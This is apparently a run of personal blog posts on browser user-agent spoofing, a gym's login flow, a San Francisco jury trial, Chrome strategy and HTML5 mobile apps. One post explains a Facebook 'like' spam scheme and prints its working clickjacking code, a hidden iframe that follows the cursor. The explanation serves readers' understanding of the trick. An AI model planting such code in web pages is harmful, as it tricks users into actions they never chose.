For browsing I use Chrome as it’s incredibly fast and based on webkit, the rendering engine inside Mobile Safari (iphone) and the Android Browser. While Firefox has some great tools that allow you to change the user-agent string, which is how most sites detect which version of the site to render, Chrome doesn’t have any easy-to-use extensions.

You can, however, change it from the command line when you launch the browser. To do this, close any open windows of Chrome and launch the following from the command line.

For Android I used the user-agent string from my HTC Evo:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"

For the iPhone I used one for the iPhone 4:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7"

and for the iPad I used the one from my iPad:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5"

To see the difference take a look at google.com with normal Chrome vs. with the Android user-agent:

As I’m on the annual billing plan I get an email from them every year indicating it’s time to pay, and they include a handy link in the email for you to click through and pay your bill.

Now this is all well and good, but when I attempt to log in they ask for a username and a password. First off, why do sites like 24 Hour fitness require a username instead of your email address? Do you really need an online persona for your gym membership account? This is an example of terrible product design, as I’m guessing the use main use case for logging into 24 Hour Fitnesses web site is to pay your bill. Why do I need a username to give 24 Hour Fitness my money?

Okay, fine, enough ranting about the username, let’s move on to the forgot username/password flow. 24 Hour Fitness asks for my last name, email, and date of birth. I personally think the email should be enough, and they should email me a link to reset my password. If someone has hacked my email then they can probably get into my 24 Hour Account – what can they do, pay my bill for me? As long as they require verification of the credit card there is nothing any hacker can actually do in my account.

After entering in my name, email, and birthdate they ask for a security question: the name of my high school mascot, and it’s case sensitive! Are you FREAKING KIDDING ME? I just want to get in and pay my gym bill – why does this site put up so many barriers to entry?

I ended up calling in and paying my bill on the phone, which is what their management didn’t want – they wanted a web site where people can log in and do this themselves and save cost. But their product managers, in the name of security, have built a web site that makes it so difficult to do simple tasks that I have to call them over the phone. Terrible.

Yesterday I posted part 1 of this story about serving on a criminal jury in San Francisco. I highly recommend giving it a read before this one.

The Defendant’s Story
Mr. Peters’ story is, not surprisingly, quite different from Mr. Sargent’s after Mr. Sargent left to go upstairs. In his version, after Mr. Sargent returns to his apartment a microwave door is slammed, so he wheels into the kitchen and yells “don’t break my microwave – you’re going to have to pay for it if you do!”. At this point he notices Mr. Sargent holding the gun in his hand, and is waving it around while yelling at him “were you in cahoots with them? Were you in on it?”. Mr. Peters, not believing that Mr. Sargent would actually shoot him, but being nervous due to a drunk and high Mr. Sargent wielding a weapon, decides that he’ll try to disarm him, and lunges for the gun. A struggle ensues, with Mr. Peters grabbing the barrel with two hands while Mr. Sargent moves behind him and engages him in a headlock. At some point he is able to wrestle the gun away, and Mr. Sargent, realizing he no longer has the upper hand, bolts for the door, grabs his bag, and heads upstairs.
Peters, believing that Mr. Sargent might return to try to re-engage him in a confrontation, locks the door and heads to the bedroom where he hides the gun under the dresser. Noting that he hasn’t heard the downstairs door slam – which would indicate Mr. Sargent has left the building – believes him to be upstairs at Boo’s house. Trying to figure out what to do – he is, after all, a convicted felon illegally possessing a firearm – he figures there are two ways out of the situation: he can give the weapon back to Mr. Sargent if he calms down and returns to retrieve it, or he can call the police and have them dispose of it. The first option he doesn’t control, and the second he is a bit apprehensive of as he’s got the smell of weed wafting through the apartment and is aware how the story would sound to the police, so he grabs some Yoohoo from the kitchen and starts to sober up.

And then the police show up.

There were a number of peculiar things to Mr. Peters’ story, including why he didn’t call the police immediately to report the weapon there, why he left the gun haphazardly under the dresser, why he didn’t hear a gunshot (but acknowledges one may have gone off), and why he thinks he may have blacked out during the struggle (but doesn’t know).

Deliberations
Okay, so it’s probably safe to say at this point you can deduce from the tone in my writing that I didn’t believe the “victim” very much, but to be fair, I didn’t believe the defendant very much either. But the instructions from the judge were very clear: the prosecution must prove their case beyond a reasonable doubt, where a person would not have a reasonable doubt that the defendant may not have committed he crime. I walked into the jury room thinking that the defendant was not guilty of the shooting, but I was less sure of myself on the possession charge.

I was, however, happy to finally be able to talk about the case – during the evidence portion of the trial jurors are forbidden to discuss the case, even with fellow jurors. It’s a bit of a frustrating experience, as the evidence presented is just that, presented, so there is no room for being able to ask questions or figure out what’s going on beyond your own thoughts. The deliberations represented the first time we could have to actually interact with the information we had been given in the past week.

The first thing we did when entering the jury room was decide who the jury foreperson would be, and it was pretty simple because one young woman offered to do it, and no one else stepped up to contest her. The foreperson simply organizes the group and sends messages to the court, so it’s not surprising to me that no one else wanted the role. After brief introductions someone suggested we take a vote on the two charges, so we went around the 12 person table and each person got a chance to say what they were thinking with regards to the two charges.

As we went around the table a fair consensus began to emerge on the assault charge, 10 of the panel (including myself) believed the people had not proved their case – Mr. Peters may have been guilty, but it seemed more likely that something else happened that evening – and 2 of the panel believing he was guilty. What struck me as strange about the 2 that would have voted to convict was that they didn’t actually believe the evidence submitted by the “victim”, they just though that Mr. Peters probably did it. After a bit of discussion about the facts it became pretty clear that they didn’t feel strongly about the charge, and we quickly came to the consensus that we would vote to acquit on the assault charge.

With regards to the possession charge – felony possession of a firearm – a lot less consensus was on the table. The charge itself was not entirely straightforward, as obviously the defendant possessed the gun – it was at his house. The problem was that the law actually allows a felon to possess a firearm if all of the following are true:

• The firearm is possessed for a “momentary and transitory” period
• The possession is for the intent of disposition
• The felon does not attempt to conceal the weapon from law enforcement

Furthermore, the burden of proof is actually on the defense to prove that all three of the items above are true, as everyone acknowledges Peters possessed the gun. In addition, the burden is not beyond a reasonable doubt, but more likely than not that all three things were true for us to find him not guilty.

My thought was then that the fundamental question was whether it was more likely than not Mr. Peters’ gun, or if not his gun whether he intended to dispose of the weapon or keep it. In my mind the key items that helped me make the decision were:

• The fact the gun was haphazardly tossed in the bottom drawer while in a incapacitated position (ie with the slide back where it could not be fired) indicated the gun was likely not his.
• The fact that while neither side’s story was really credible, it seemed more likely to me that Mr. Peters’ version of the events were accurate than Mr. Sargent’s.
• The fact that the defendant immediately gave the weapon up when asked by the police, and referred to the gun as “the gun” (rather than “a gun”).

At the end of the day if I’m not sure of guilt or innocence I believe it would be the right thing to send someone to prison – I don’t know how I’d live with myself if I sent someone to jail who I believe might be innocent.

As a jury we went around the table a number of times taking votes, with each juror getting a chance to discuss the evidence that they were considering when making their decision, and then ultimately logging a vote (or a “not sure”). The various votes changed the mix in the middle – it was initially split maybe 4 not-guilty to 3 or 4 guilty with a number of un-sures – and our final vote was 9-3.

Finally we sent a message to the bailiff who came to get us, and we returned to the courtroom where the verdict was read. As the verdict of “not-guilty” was read I saw Mr. Raja, Mr. Peters’ defense attorney, shake Mr. Peters hand and congratulate him. The prosecutor put on a game face but she looked like she was having a bad day.

Takeaways From Jury Duty
It’s never a good time to take a number of days away from your normal life and go sit in a room with strangers for no (well, $15 a day) monetary gain, but I believe it’s an incredibly important responsibility we have as citizens. I’m surprised by the number of intelligent, responsible, respectable people I talk to who believe that it’s right to lie your way off a jury and that “only suckers or people too dumb to get off” serve on juries.

It’s also incredibly fascinating. Part of me has always wanted to be a lawyer – I find constitutional law especially interesting – and serving on this jury gave me a good look at how our legal system works. I was never bored throughout the trial, although perhaps the facts of this particular case, with it’s myriad interesting characters, are the cause for that.

Finally, I think it’s a great way to really understand people from different walks of life. There are so few opportunities in today’s world to really here how people think about fundamental issues like freedom and the law, as politics are really a modern day taboo in the workforce and common conversation. If you are like me, the only people you really have these conversations with are family and close friends, who often can think similarly to you as they are often in similar walks of life. The jury room gives you the opportunity to meet and interact with others from all walks of life, rich and poor, educated and not, young and old.

I highly recommend it. And you really have no choice.

I’ve been a bit MIA from the blog in the past few months, and like a lot of people, I’ll beg off on being busy. One reason I was busy was I was called and subsequently selected to serve on a jury here in the city of San Francisco, which I found a fascinating process. As the case ended yesterday we, as jurors, are allowed to discuss the case, so I thought I’d write about my experience. It’s a bit long, so I’m going to break this one up into two parts.

Pre-trial
I was called to report the week of October 18, and the instructions I received indicated I was to call the Friday before, October 15, to find out if I would need to report. On Friday when I called I was instructed to call again on Monday, and on Monday I was again instructed to call on Tuesday, where I was told to come in to the hall of justice the next morning. After reporting the next morning around 8:40 AM the juror pool sat in a fairly large (100+ people) room waiting for instructions. We watched a cheesy video that attempted to explain the process in the State of California, and a distinctly heard someone snicker when the video announced that California was the nation’s greatest state. I’m guessing perhaps all the talk about how California is broken throughout the election campaign is catching up with us.

After more waiting in the room a lady came in and announced that the next names read would need to report to courtroom 27, and they proceeded to call out a lot of names (I subsequently found out it was 130). I was one of these, so I packed my stuff up and headed down to courtroom 27. I don’t quite remember what happened next, but I remember thinking in the courtroom that the setup was very theatrical – the judge on a raised platform looking down on everyone, his clerk, bailiff, and stenographer beneath him, and the defense and prosecutor at different tables in front of him. To his right, or the left side of the courtroom when you enter, was the jury box.

I believe the first thing that happened was the judge, the honorable Newton Lam, asked if anyone had any hardships – and asked people to fill out forms if so. A good chunk of the room did, and I believe after they filled them out we had a recess and they reviewed them and excused a large number of people. At that point I think explained the case – a criminal one, with the defendant, Steven Peters, charged with assault with a semi-automatic firearm and felony possession of a firearm. He may have also explained the complete jury instructions, but I don’t remember that explicitly. The court clerk, an Indian lady with a very American name, then called up the first 18 potential jurors to the box. The prosecutor and defense attorneys then got to ask a number of questions of the potential jurors.

Making the Jury
Jury selection took the better part of two days, as the attorneys asked numerous questions of the people called to the panel. I noticed a couple interesting things during the process:

• Some people were doing their best to get off the panel, and thus were going to say pretty much anything to ensure they weren’t selected. When asked how they felt about hand guns they went on about how guns were the root of all evil and they couldn’t judge anyone innocent who had been charged with a gun crime.
• Two people made it very far in the process and weaseled their way out at that point: one young lady who worked for a beer distributor noted she had a business trip that would have to be canceled, and when the court seemed determined to keep her, returned from a break with the shocking news that “she remembered she had a friend who worked for the DA’s office”. The other young man was a software engineer for a startup video game company, and was concerned his company would lose a large contract if he were selected for the jury. At the point when we were going to be sworn in for the jury he piped up “what’s the penalty for not showing up to jury duty – is it a fine or jail?”. The judge conferred with counsel, and reluctantly – and angrily – dismissed the man. When the man thanked him he retorted “don’t thank me!” and gave a lecture on the importance of jury duty.
• There were a couple of interesting stories during the selection process. One man was an engineer by day and a “mind reader” at night. This prompted a number of funny questions from the prosecutor and defense attorney about whether he could “read their minds” or “determine what the defendant is thinking”, and it emerged that was really an expert in reading body language – and would need to control the circumstances to perform his trick. He was excused. Another old lady who had a really odd shape – she looked as if she were pregnant, but she was far too old (70s?) to be pregnant – had an interesting story about being a caretaker for a schizophrenic patient who had freaked out and called the police and reported her as a missing person on the previous day. She was quickly excused.

In the end 12 of us remained, and were sworn in for the trial.

The Trial
The facts of the case where these:

• The “victim” was a man by the name of Donald Sargent, a 50 year old Black resident of San Francisco. He had supposedly been a nurse for 23 years, although he hasn’t practiced medicine since 1991 (this doesn’t really add up, he would have been 7 when he started nursing)
• Mr. Sargent has a large number of health problems (including severe arthritis) and uses a cane and various medication, including soma (muscle relaxers) and medicinal cannabis.
• The defendant was Steven Peters, a resident of an apartment on Revere and 3rd street in the Bayview neighborhood of San Francisco – one of the worst neighborhoods in the city. Mr. Peters’ is black, and though his age was not mentioned during the trial I’d guess he is mid-to-late 30s, and one notable fact was that he was in a wheelchair.
• Mr. Peters lived on the first floor of a 3 unit apartment building, and had a “godsister” upstairs by the name of Boo (real name Cassandra). Boo’s house was affectionately known in the neighborhood as the “candy house” due to the fact neighborhood kids would come over for candy (unclear as to whether this was provided free of charge or whether a retail operation was being run from this home).
• On Friday, July 10 2010 Mr. Sargent (also known as “Sarge”) went over to Mr. Peter’s house to hang out for the weekend. Mr. Sargent, however, forgot to bring his cane and soma medication. He did, however, remember to bring his marijuana.
• On Saturday Mr. Sargent and Mr. Peters were hanging out and planning what to do for the evening, where apparently a friend of theirs, Didi, and her boyfriend were planning to come over, along with a friend of Mr. Peters, Passion. The two went down to a store and bought some food and beer for the night – a six pack of Budweiser and 4 tall cans for Mr. Sargent.
• On the evening of July 11, around 8pm or so, Mr. Sargent and Didi’s boyfriend were playing cards together at the living room table in Mr. Peter’s house, while Mr. Peters and his friend Passion were hanging out on the couch watching TV and enjoying themselves.
• While Mr. Peters does not know for sure whether there was gambling going on, he does recall money being on the table.
  During the game Mr. Sargent drank his 4 tall cans and one budweiser, and smoked some of his medicinal marijuana. Mr. Peters had a few budweisers and smoked the weed as well.
• After the game ended – where it was strongly hinted that it ended because Mr. Sargent was “wiped out” of all his funds – Didi and her boyfriend went upstairs to Boo’s house, and Mr. Sargent followed, with the intention of saying goodbye.
• After Mr. Sargent said goodbye to Boo he headed back down to Mr. Peters’ house to grab his bag and heat up a hamburger he had left over from the earlier trip to the store.
• When Mr. Sargent comes downstairs and knocks on the door he hears Mr. Peters’ yell out in an annoyed voice something to the effect of “all these people need to stop crowding in my house”. I also got the impression it might have been a slightly stronger “all these people need to get the fuck out of my house”.

The Victim’s Story
This is where the stories diverge, so let’s take the Victim’s story first:

According to Mr. Sargent, when he came back downstairs his intent was to get his food – he had a hamburger left over from their earlier trip to the store – microwave it, grab his bag, and head home. Standing in front of the microwave, with the front door to his right and the hall to the living room to his left Mr. Sargent turned around to find Mr. Peters pointing a gun at him. Shocked, he begins to attempt to talk his good friend out of shooting him and pleads for him to put the weapon away. The exact words escape me, but I believe the phrase “nigga, what you doing with that gun” was used, and Mr. Sargent insisted that the defendant didn’t say a thing while pointing the gun at him, just looking at him with “that look he get in his eye”. Mr. Peters then appears to go for the trigger, so he jumps in the air to avoid the gun hitting him in the chest where the it was pointed, and he’s shot “next to his hoo-hoo”. The bullet goes through his leg and he decides to go for the gun, and wrestles Mr. Peters to the ground, where he’s able to get the gun away from him and kick it under his wheelchair.

At this point Mr. Sargent jumps up and heads for the door, grabbing his bag and heads for Boo’s place on the floor above. When he enters Boo’s apartment he attempts to tell Boo and the other people over that he is shot, but they don’t believe him. He offers to pull down his pants to show them where he has been wounded, but with “so many womenfolk there” he decides it’s a bad idea and heads for the door. After leaving the building he heads for the bus stop, where he plans to take the bus to the Muni T train stop and then get the 22 bus to get home. Mr. Sargent, being a medic, says plans to take care of the bleeding and not get the police involved, but this assertion is somewhat belied an encounter he claims to have had on the way to the bus stop. He says he happened on a police officer, car number 081, and he tells the officer he’s been shot. The officer, however, doesn’t believe him, and after he offers to pull down his pants and show him the wound he is threatened with an indecent exposure ticket and quickly hurries on. Mr. Sargent helpfully offers that police officers in the Bayview aren’t very pleasant to people as an explanation for the seemingly odd behavior by the officer. He then gets to the bus stop where he finds a stick and an old rag and makes a tourniquet for his wound, and after waiting for a bit decides to walk to the Muni T stop to find the train. When the Muni arrives he explains to the officer he’s been shot and begs his way on as he doesn’t have any money, but again the driver doesn’t believe that he’s been shot. Mr. Sargent does note that he was on the Muni – where are the security tapes – “they got it on camera!”.

After another transfer to the 22 bus he arrives at his home on 16th and Folsom where he heads into his apartment, intent on stopping the bleeding. His friend, spotting him arriving, knocks on his door and enters the apartment. After 10 or 15 minutes of attempting and failing to stop the bleeding he heads downstairs to the front desk where he asks the clerk to call an ambulance as he’s been shot. The police are quickly summoned, and officers arrive asking him to provide information on who shot him. The police offer who testified noted that Mr. Sargent was rude and somewhat hysterical, but they were finally able to coax his “brother’s” address out of him – a 3-story apartment on Revere across from a Church. The officer who takes this information down notes that he actually said he’d been shot in the living room, but Mr. Sargent’s story during the trial is that he was shot in his hotel room.

At this point Mr. Sargent goes with the ambulance to the hospital, and other officers are summoned to Mr. Peters’ home to investigate the incident. 5 or 6 officers arrive at Mr. Peters’ place and knock on his door. Mr. Peters answers the door and is asked “if anything happened at the apartment during the evening”. He responds “no”, and then is asked if the officers can search his home. He answers “yes”, and is then asked “if there are any weapons at the place”. Mr. Peters’ answers: “the gun is under the bottom right drawer under the dresser”. The officers then have Mr. Peters’ sign a search authorization form, he’s read his Miranda rights, and the police search his home and find a gun under the dresser, a 9mm with the serial number filed off, loaded, and with the slide pulled back.

In my next post I’ll discuss the Victim’s story, the outcome, and my takeaways from jury duty

A few days ago a former co-worker, Mike, and I met up and talked a bit about the state of the web, and this led into a discussion about what tools we were both using for development. Given that we were developing a Firefox plugin only a year ago I expected Mike to say that he used Firefox for everyday use, but I was surprised to find that he had switched to Google’s Chrome for everyday use, as had I.

For years the rumors of a Google-branded browser ran rampant in the technology community, yet I scoffed that Google would get into the game. After all, why would it make sense for a company that largely built web applications (Google Desktop being on of the few exceptions) get into building desktop software? With Firefox, Safari, and Opera all pushing Internet Explorer, why would Google need to get into the game?

And yet 2 years ago Google launched their browser, Chrome, with fairly decent reviews and little fanfare. After all, the changes that Chrome brought to the table over competing Firefox and even Internet Explorer seemed minimal. Yet after using Chrome for a year or so, I’ve come to reevaluate my stance on the product itself, and the strategy behind it.

First, let’s examine the strategy and the results have been for the browser. The state of the browser market when Google launched was Microsoft’s Internet Explorer with roughly 70% browser share, Mozilla’s Firefox with roughly 20%, and Safari with 5% or so (Opera and a few others made up the remaining set). Browsers are important strategically for a few reasons:

1. Browsers control search share. This one was pretty close to my heart as someone that has worked in search, and the basic reasoning is distribution: lots of users perform web searches through the default search engine in their browser. If you can get the browser to ship with your search engine, you are going to have a lot more searchers.
2. Browsers determine what’s possible on the web. Okay, this is a simplistic argument because what goes into a browser comes from standards bodies, and the actual applications are created by web developers, but the basic point is that a browser makes certain things possible for web developers

My initial thinking with Chrome is that Google would have a hard time getting users to change and use their browser. I mentally divided the browser market into two sets of users: power users, who were fairly loyal Firefox users with extensions and the like, and “ordinary” users, who would simply use the default that shipped with their machine: Internet Explorer. I figured if Internet Explorer users wouldn’t switch to a significantly better Firefox, they’d be unlikely to switch to Google’s Chrome.

But Google made a series of tactical choices in Chrome that I believe positioned them well:

• Google forked open-source webkit as the rendering engine for Chrome, selecting it over the competing Gecko rendering engine that Firefox uses
• Google introduced the browser for Windows initially, and then added Max and Linux versions
• Chrome was initially distributed via their home page and other Google sites
• Google pushed a “get out of the way” strategy, with the browser designed to take a back-seat to the actual web pages themselves. The browser’s frame is called the “chrome”, and “Chrome” gets it’s “chrome” get out of the way

The first point, that Google chose webkit for Chrome, was a brilliant move because it positioned them well to pushing updates to the core rendering engine that powered the iPhone (as the browser on the iPhone, Safari, uses webkit for rendering). By making changes to the core code-base they then were able to add features that would work both on their mobile platform – Android – and the largest mobile threat, iPhone. That Research in Motion, makers of the blackberry, subsequently adopted webkit had to make this choice look all the more ingenious.

The second point was Google focused on getting real users, which turn into real dollars. Each user they were able to take away from Firefox was one fewer user that Google did not have to pay a revenue split for with the Mozilla foundation. To understand the economics of this it helps to understand how traffic acquisition costs (TAC) for search work. It turns out that most browser users search with the default box at the top of their browser, and this makes the distribution browsers have very valuable. The search companies compete with each other to bid for the right to have their engine as the default in the various browser makers out there, and then when those users search some percentage of the time they click on ads, and the revenue generated from the ads is split between the browser maker and the search engine. Let’s take an example – if Firefox users search on Google and click $100M worth of ads annually, then Google and Mozilla will share that $100M between themselves at some split. It turns out because of the competitive nature of the business between search manufacturers that the split is actually quite favorable to the browser maker, so the Mozilla foundation may take home $75M (or even more!) of that $100M. But if Google can take users from Firefox to Chrome thats 75 cents on the dollar that Google now keeps for themselves.

The last point of brilliance I want to call attention to is the strategic point of pushing the other browser manufacturers to improve their products. Google makes web products, and part of their long-term strategy is to eat into the dominance of desktop products, like Microsoft Office. Currently a lot of their web products don’t behave as smoothly as native desktop products, and some of that is because the current browsers don’t have enough functionality to make really smooth desktop quality applications. Google has pushed the other browser manufacturers to iterate and add features to their products, which will result in better web applications for everybody. Yes, of course Microsoft can make great web products as well, but if you’re a maker of web applications you are really happy the browser can do more.

When Google’s Chrome came out I saw it as a minor product launch of a desktop that didn’t make a lot of sense strategically. Two years later I realize I was very wrong: Chrome is a piece of brilliant business strategy and execution that has resulted in an excellent (and likely profitable) product!

The last few months my co-founder and I have been focused on developing a mobile application, and one of the biggest debates we had was whether we wanted to develop native applications for the iPhone and Android. Our initial perception was that we needed to develop a native app, because that’s where all the user’s are. After doing some more research, however, we decided that we would develop our initial version in HTML5. This post discusses why we made that decision.

First off, a little background about the state of mobile application development. There are two major ways to get your software to user’s on a mobile device:

• Build a native application
• Build a web version of your application – in HTML5

Building Native Apps

To build native apps you’ll need to build a version of your application for each mobile platform. The current dominant mobile platforms are Nokia’s Symbian (widely panned as not a true “smartphone platform”), Apple’s iOS, Google’s Android, BlackBerry’s BlackBerry OS. In addition, Palm’s WebOS may re-emerge as HP purchased them and may invest more in the platform, and Microsoft may roar back on the scene with the launch of Windows Phone 7.

Looking at that chart we can see we’ve got 4 major OS platforms to write for (subtracting Windows Mobile as it’s not long for the world), and 2 more looming on the horizon (Palm/HP’s WebOS, and Microsoft’s Windows Phone 7). Is it easy to build for these platforms?

• Symbian applications are written in C++, but some apps are written in Python and Adobe’s Flash. Most US app developers ignore Symbian’s platform, as it’s widely considered a lower-tier smartphone OS
• Android applications are written in Java and written specifically for the OS. Google provides lots of support resources, but do not provide native UI elements for many functions, and thus many applications written for the platform look radically different from one another.
• iOS applications are written in Objective-C, with a native UI library called Cocoa providing a lot of the UI elements. Most iOS applications therefore have a very similar UI
• RIM’s BlackBerry OS Applications are written in Java

One of the problems with developing for each platform is that there are differences between the devices on each platform. This has yet to become a huge deal, largely because the platforms are only a few years (I always pinch myself to remember: the iPhone launched only 3 years ago, in 2007!) old, but with Android there are differences in the OS versions (everywhere from version 1.5 to today’s current 2.2) and in the hardware devices, with iOS there are some running the latest version with multi-tasking and some not, and with BlackBerry some devices have a touchscreen and some do not. As a developer, writing for the different variations can be quite daunting!

In addition to writing across different languages and platforms there is another challenge to writing any kind of native application: installation and distribution. Bear with me a second while I tell an anecdote about applications: I remember my first job, in 1999, when I worked for an e-commerce company named SelfCare.com. For bug-tracking we used an application that the consulting company we hired, Cambridge Technology Partners, had written for us in Visual Basic. This application ran on each developer’s desktop and connected to a central server to pull down the data on the individual bugs. This worked fairly well, except when we had to fix a problem with the desktop software. The application’s developer would fire up his IDE, fix the problem, and then send out a mass email with an attached executable with the new software. Some people would inevitably not install, and would therefore be running old versions of the software with outdated features and problems. The same thing happens to native mobile applications these days: when you want to update your software to make a change (whether it be from market demand or a bug or innovation) some percentage of your users will ignore the change and blissfully go on using their old versions of the software. Some apps have taken to battling this by disabling use of the older versions until they update, but this is a terrible user experience – user’s don’t want to have to worry about updating their version of your software, they just want it to work!

To sum up the issues with writing native apps:

• Many different device platforms
• Differentiations in the devices and OS versions within the same platform
• Multiple languages to write software in, and different UI’s across the different devices
• Deploying updates can be difficult because users do not want to download and install new versions
• One more issue specific to iOS – Apple has a review process, where they will approve your application or not, and if they don’t like it you won’t get to distribute your application to their customers

Writing Web (HTML5) Apps
In Mark Suster’s strong piece, App is Crap, he argues that mobile applications will be the way of the future. If you think back to my example about bug-tracking software it’s easy to see the parallel to mobile software. In 2010 (almost) nobody runs a native desktop version of bug-tracking software – they all run web-based tools like bugzilla. The ubiquity of browsers with standards has led to application development being about writing applications for the web standard, and anyone with a modern browser being able to access it. If a new hot operating system platform came out tomorrow (fat chance of that) as long as it had a modern browser written, that user would have access to all the same web applications users of windows and OS X would.

A few years ago a friend and I were talking about what might be included in the next versions of the browser, and I said I thought that the introduction of vector graphics would be revolutionary, as all these background images and text effects created in photoshop would eventually be done in the browser. Fast forward a few years and HTML5 and CSS3 are finally bringing that promise to reality. HTML5 and CSS3 are next-generation variants of the underlying language powering the web – developers write their web-based software in using these technologies, and browsers interpret them (with others, like javascript) into the applications we know and love. This has also proved big for mobile devices, as features once available only for native apps are now available for web devices.

One of these features is the ability to detect touch and swipe gestures, specific to touch devices. This allows mobile web applications to respond to these events and not just think of the world as clicks. Mobile web frameworks such as jqTouch and Sencha Touch allow mobile web developers to develop better software with less code, and the proliferation of larger devices will lead to more searching on the device (as opposed to just downloading apps), which will result in more opportunities for developers to market their web-based apps.

There are limits to what a web-based mobile application can do, however:

• Mobile web applications cannot access some device specific features, like the camera, dialer, and contact list (note that the user’s location can be used in HTML5)
• Mobile web applications aren’t quite as sensitive to user’s actions as native apps are, and some actions are not accessible for mobile web apps
• There is no major app store for mobile web applications

The last point, the app store, seemed like the most compelling reason for my co-founder and I to go with native apps over mobile web apps. We figured that when we built a iOS mobile app and put it in Apple’s app store, people would download it, and we’d have instant distribution. After meeting with a few people familiar with this space, we discovered this is just not the case. Almost universally we heard that distribution is “difficult”, you need to “get lucky”, and that users “don’t search, they download from the top 10 lists”. We were most surprised to hear this reason, as it wiped out one of the biggest reasons to develop a native version of our app.

Final Thoughts
Ultimately there are pros and cons to building native and web-based mobile apps, at least in 2010. Coming from a web background, and subscribing to the “lean-startup” approach of iteration, I feel more comfortable with building a web application, looking at what my user’s are telling me with their actions (measurable web data – in clicks and touches), and making changes based on that feedback. Time will tell if I’m right, but I am betting that mobile web apps – using HTML5 – are the future, and native mobile apps, like desktop apps before them, will be afterthoughts for all but a few in the future.

I remember having a conversation with my father during the last few months of summer before I went away to college, when he gave me one of his expectations of my college experience: “you won’t have time to party, since you’ll be in the library all the time”. My memory of my reaction to that was one of disbelief, and the thoughts in my head akin to a mischievous elf getting ready to pull the wool over someone’s eyes.

It turned out the way my college career played out I did indeed spend a lot of time in the library (and even more in the computer lab – good ol’ CSIL), but in all that studying I almost missed the biggest lesson of all.

The lesson isn’t really all that earth shattering: it’s make friends, and keep in touch with those friends.

I graduated over 10 years ago, and I’ve recently realized that my friends are the most important resource I have in business. In college I had the good fortune to become friends with some great people: a few that I’ve hired and worked with, a few that I’m doing business with, and a few that will undoubtedly lead to success in my career going forward. For example, from UCSB Computer Science (CS) I have remained in touch with Lisa Kavanaugh, who came to work with me at Ask.com and is now a VP of Engineering of the web development team. I’ve also got friends from UCSB CS who are now at LinkedIn, Sony Online, Slide, and a number of other companies that I can now contact if I’ve got a question or need to meet someone who is an expert in the products they are working on.

Another of my friends, Scott Kim, is now the CTO over at Ask.com. We first met when we interned together at IBM in Austin (looking around the room during orientation, where the instructor helpfully explained to us that we needed to “leave our gun racks at home”, I spotted Scott, a pretty normal looking guy). He worked on a project called Java OS (pretty sure killed now) that summer, and I worked on an internal project that I’m pretty sure never went anywhere, but the relationship we established over 10 years ago is still alive and kicking today. We email a couple times a week to talk about personal stuff, but we also share job leads, references, startup tips, and almost everything else.

Speaking of Ask.com, I met some of my closest friends while working there, and now that they’ve left Ask they are incredible resources to have to reach out to and talk about any subject in the valley. My startup is now moving to do some PR work, and I have a great friend who did PR at Ask and is now a Senior Manager at a PR firm who is happy to help all he can. When we need connections into mobile advertising I have another friend from Ask Ad Operations who is now at a major mobile ad network, and is happy to help. The point is that all these relationships were developed while I was seemingly focused on another goal: success in my career and in business.

At the end of the day nothing is going to make up for a poor work ethic, or sub-par skills. But I know if I work hard and achieve success, a big part of it will be the incredible friends I’ve made along the way.

Dad: that’s one of the most important lessons I hope to leave with my children as they embark to college someday.

‎:|:|:|:|:|:| Smoking Hot Bartenders :|:|:|:|:|

The “Smoking Hot Bartenders” site, of course, is some sort of spam site where the user is prompted to fill out some leadgen form (or offer) in order to access pictures of the “smoking hot bartenders”. Declining to do so, I closed the window and figured that was that.

I was quite surprised to check my feed today and notice that I had “liked” the same page on Facebook. How did this happen?

I decided to take a look at the site, http://cutebabesbartending.info/, and see how they were executing this very viral scheme.

The first thing you see when you land on the site, most likely from Facebook (and hence logged in), is a screen with some hot girls and a link to click through. This link is the key to the scheme.

Taking a look the source of the page we see:
[html]
<h2>
<a href="photos.html">Continue here to see photos</a>
</h2>
<div style="overflow: hidden; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="aaaa">
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fcutebabesbartending.info%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font&amp;colorscheme=dark&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:20px; height:20px;" allowTransparency="true" id="xxx" name="xxx"></iframe>
</div>
[/html]

Note we have here an absolutely positioned DIV with an IFRAME to the facebook like page. But where is the code that clicks the link? If they are triggering from the click why does this facebook like button fire? Check out the code below. Note that id xxx is the iframe itself, and aaaa is the facebook like button.

[html]
<script>
var xxx = 0;
var aaaa = document.getElementById(‘aaaa’);
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body

function lololol(e){
if (window.event) {
aaaa.style.top = (window.event.y-5)+standardbody.scrollTop+’px’;
aaaa.style.left = (window.event.x-5)+standardbody.scrollLeft+’px’;
}
else {
aaaa.style.top = (e.pageY-5)+’px’;
aaaa.style.left = (e.pageX-5)+’px’;
}
}
document.onmousemove = function(e) {
if (xxx == 0) {lololol(e);}
}
</script>
[/html]

This is kind of ingenious: they are re-drawing the Facebook like button so it follows your mouse around the screen, and when you click on the link you click on both the like button and the link to the next page!

But why don’t you see the like button? It’s because the opacity of the parent element is set to 0 (ie completely transparent, thanks to commenter Colby Russell for correcting me). Let’s change this and see what happens:

Look at that Facebook like button there by my cursor!

This is fairly brilliant spam – you click off of Facebook and unsuspectingly click on the link to get to the page where you assume there might be spam but you can ignore it. However, unbeknownst to you, you’ve already “liked” the spammy page, and it’s now sitting in your feed waiting for the next sucker, er… friend, to click on it.

Updated: commenter Ryan King notes that the term for this spammy technique is Clickjacking.

This morning I woke up and checked my email to find this message from opentable:

** Please do not reply to this email. It was sent from an unattended mailbox, and replies are not reviewed. See below for contact information. **

Dear Simon,

Thank you for booking your recent reservation through OpenTable.

